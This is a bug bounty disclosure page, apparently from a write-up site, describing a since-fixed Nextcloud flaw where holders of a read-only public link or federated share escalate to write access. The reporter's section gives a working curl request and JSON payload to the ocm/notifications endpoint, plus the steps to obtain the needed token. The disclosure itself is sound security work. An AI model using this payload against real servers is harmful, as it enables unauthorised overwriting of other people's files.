Attacker can obtain write access to any federated share/public link
An anonymous attacker who holds a read-only public link or federated share can send a crafted notification to the victim's server to raise their own permissions to read, write and share. This lets them overwrite or add files in the shared resource.
- Triaged in 2 hours
- Fixed in 21 days
- Paid in 10 days
- Disclosed after 51 days
Hi mates,
I stumbled across this with public links. But the same holds true for any federated share. I will try to describe the link scenario. At first I thought there were more steps (and resharing was involved). But it really is very simples:
- An attacker obtains a public link (again plenty of those around). For the sake of the attack it is a read only public link
- The attacker uses the 'add to my nextcloud' functionality to have a federated share created to their own instance
- The attacker accepts this share
- Now the attacker checks their database and finds the entry in the
oc_share_externaltable.
We are looking for really only the remote id. And the token.
For the sake of this example the remote id = 2 and the token = nOxdNJkb1xbI1VX
- Now we craft our request
curl -v -X POST http://localhost/index.php/ocm/notifications -d '{"notificationType":"RESHARE_CHANGE_PERMISSION","resourceType":"file","providerId":2,"notification":{"sharedSecret":"nOxdNJkb1xbI1VX","permission":["read","write","share"]}}' -H 'Content-type: application/json'
To break this down. We send an (anonymous) POST request to the victims server to be precise to index.php/ocm/notifications And we pass it the following json
{
"notificationType":"RESHARE_CHANGE_PERMISSION",
"resourceType":"file",
"providerId":2,
"notification":{
"sharedSecret":"nOxdNJkb1xbI1VX",
"permission":[
"read",
"write",
"share"
]
}
}
- The attacker now enjoys their federated share with READ+WRITE+UPDATE+CREATE+SHARE access. (I think it is probably even a bug that there is no way to grant DELETE).
Since we create a federated share at step 1. This also holds true for any created federated share.
Impact
In short if an attacker has a public link. Or a federated share with them they can elevate their permissions very easily.
This allows them to overwrite files. Add new files. And so on. In short the integrity of all files in public links and federated shares should be considered compromised.
Pardon my directness. But you really should take a serious look at your federation code. As it seems to miss checks all over the place. Maybe recommending everybody to disable it for now is the best course of action.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the federation notification endpoint accepts permission-change messages without verifying that the sender is authorised to change the share's permissions.
Impact
The attacker can overwrite files and add new files, so the integrity of all files in public links and federated shares should be considered compromised.
What the attacker needed
A public link or federated share; attacker controls a federated instance; network access to victim server
How it was found
- Obtain a read-only public link.
- Use the 'add to my nextcloud' feature to create a federated share to the attacker's own instance.
- Accept the share.
- Look up the remote id and token in the oc_share_external table.
- Send an anonymous POST request to the victim's ocm/notifications endpoint with a RESHARE_CHANGE_PERMISSION notification.
- Use the federated share with read, write, update, create and share access.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A federated share is a way to share a file with someone on a different server. The server accepts a small message that says 'change the permissions of this share', and anyone who has the share link can use it to give themselves write access.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.